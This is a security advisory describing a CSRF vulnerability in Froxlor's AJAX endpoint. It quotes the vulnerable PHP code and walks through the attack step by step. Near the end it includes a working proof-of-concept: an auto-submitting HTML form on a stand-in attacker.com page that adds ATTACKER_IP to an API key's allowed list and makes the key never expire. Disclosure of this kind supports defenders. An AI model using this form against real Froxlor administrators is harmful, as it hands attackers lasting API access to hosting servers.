Packagist · froxlor/froxlor
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowed_from whitelist or extending the valid_until expiration).
lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php)lib/Froxlor/Ajax/Ajax.php:66-92 — Ajax::handle() (no CSRF check before routing)lib/Froxlor/Ajax/Ajax.php:257-315 — Ajax::editApiKey() (writes to database without CSRF check)lib/ajax.php (standalone bootstrap, bypasses lib/init.php)// lib/ajax.php:26-47
namespace Froxlor;
use Froxlor\Ajax\Ajax;
require_once dirname(__DIR__) . '/vendor/autoload.php';
require_once dirname(__DIR__) . '/lib/userdata.inc.php';
require_once dirname(__DIR__) . '/lib/functions.php';
require_once dirname(__DIR__) . '/lib/tables.inc.php';
// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();
Contrast with normal flow: All admin/customer pages (e.g., admin_customers.php, customer_domains.php) do:
const AREA = 'admin';
require __DIR__ . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369
// lib/Froxlor/Ajax/Ajax.php:54-61
public function __construct()
{
$this->action = Request::any('action'); // <-- User-controlled from GET/POST
$this->theme = Request::any('theme', 'Froxlor');
UI::sendHeaders(); // Starts session, sets security headers
UI::sendSslHeaders(); // HSTS headers
// MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}
// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
$this->userinfo = $this->getValidatedSession(); // Only checks: isset($_SESSION['userinfo'])
// MISSING: CSRF token validation before routing
// Comparison: init.php lines 363-369 WOULD check here:
// if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
// $current_token = Request::post('csrf_token', ...);
// if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }
// }
switch ($this->action) {
case 'editapikey':
return $this->editApiKey(); // <-- State-changing operation, no CSRF guard
case 'updatetablelisting':
return $this->updateTablelisting(); // <-- Also POST, also no CSRF
// ... other cases
}
}
// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
if (CurrentUser::hasSession() == false) {
throw new Exception("No valid session");
}
return CurrentUser::getData();
// hasSession() implementation (CurrentUser.php:47-50):
// return !empty($_SESSION) && !empty($_SESSION['userinfo']);
// This ONLY verifies a session exists.
// It does NOT verify the request origin or CSRF token.
}
// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
// All three parameters come from attacker-controlled POST body:
$keyid = Request::post('id', 0); // Source: $_POST['id']
$allowed_from = Request::post('allowed_from', ""); // Source: $_POST['allowed_from']
$valid_until = Request::post('valid_until', ""); // Source: $_POST['valid_until']
// ... IP format validation (not security-relevant for CSRF) ...
// SINK: Direct database mutation
$upd_stmt = Database::prepare("
UPDATE `api_keys` SET
`valid_until` = :vu, `allowed_from` = :af
WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
");
Database::pexecute($upd_stmt, [
'keyid' => $keyid,
'af' => $allowed_from, // Attacker's IP written here
'vu' => $valid_until_db, // -1 = never expires
'aid' => $this->userinfo['adminid'],
'cid' => $cid
]);
return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);
}
// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf_token:
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed_from: _this.val(),
valid_until: $('div[data-entry="' + akid + '"] #valid_until').val()
// NOTE: No csrf_token field here — the backend doesn't require it
},
// ...
});
This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.
| Aspect | lib/init.php (Normal Pages) |
lib/ajax.php (AJAX Endpoint) |
|---|---|---|
| Includes init.php | Yes (all admin_*.php, customer_*.php) | No — standalone bootstrap |
| Session validation | ✅ CurrentUser::hasSession() |
✅ CurrentUser::hasSession() |
| CSRF token generation | ✅ Froxlor::genSessionId(20) |
❌ Not generated |
| CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely |
| Rate limiting | ✅ RateLimiter::run() |
❌ Not called |
| Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |
[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html
<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed_from" value="ATTACKER_IP">
<input type="hidden" name="valid_until" value="-1">
</form>
<script>document.getElementById('csrf').submit();</script>
│
▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
- Victim has an active session at https://froxlor.example.com
- Session cookie: PHPSESSID=<valid>, SameSite=Lax
│
▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
- Cookie behavior depends on SameSite policy (see below)
│
▼
[Server: lib/ajax.php]
→ require userdata.inc.php, functions.php, tables.inc.php
→ (new Ajax)->handle()
│
▼
[Server: Ajax::__construct()] (Ajax.php:54-61)
→ $this->action = 'editapikey' (from GET query string)
→ UI::sendHeaders() → session_start()
→ NO CSRF CHECK
│
▼
[Server: Ajax::handle()] (Ajax.php:66-68)
→ getValidatedSession() → CurrentUser::hasSession() → TRUE
(session cookie was sent with request)
→ NO CSRF CHECK before routing
│
▼
[Server: Ajax::editApiKey()] (Ajax.php:257-315)
→ $keyid = 1 (from POST)
→ $allowed_from = 'ATTACKER_IP' (from POST)
→ $valid_until_db = -1 (from POST, parsed)
→ UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1
│
▼
[Impact] API key #1 now allows connections from ATTACKER_IP, never expires
F
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.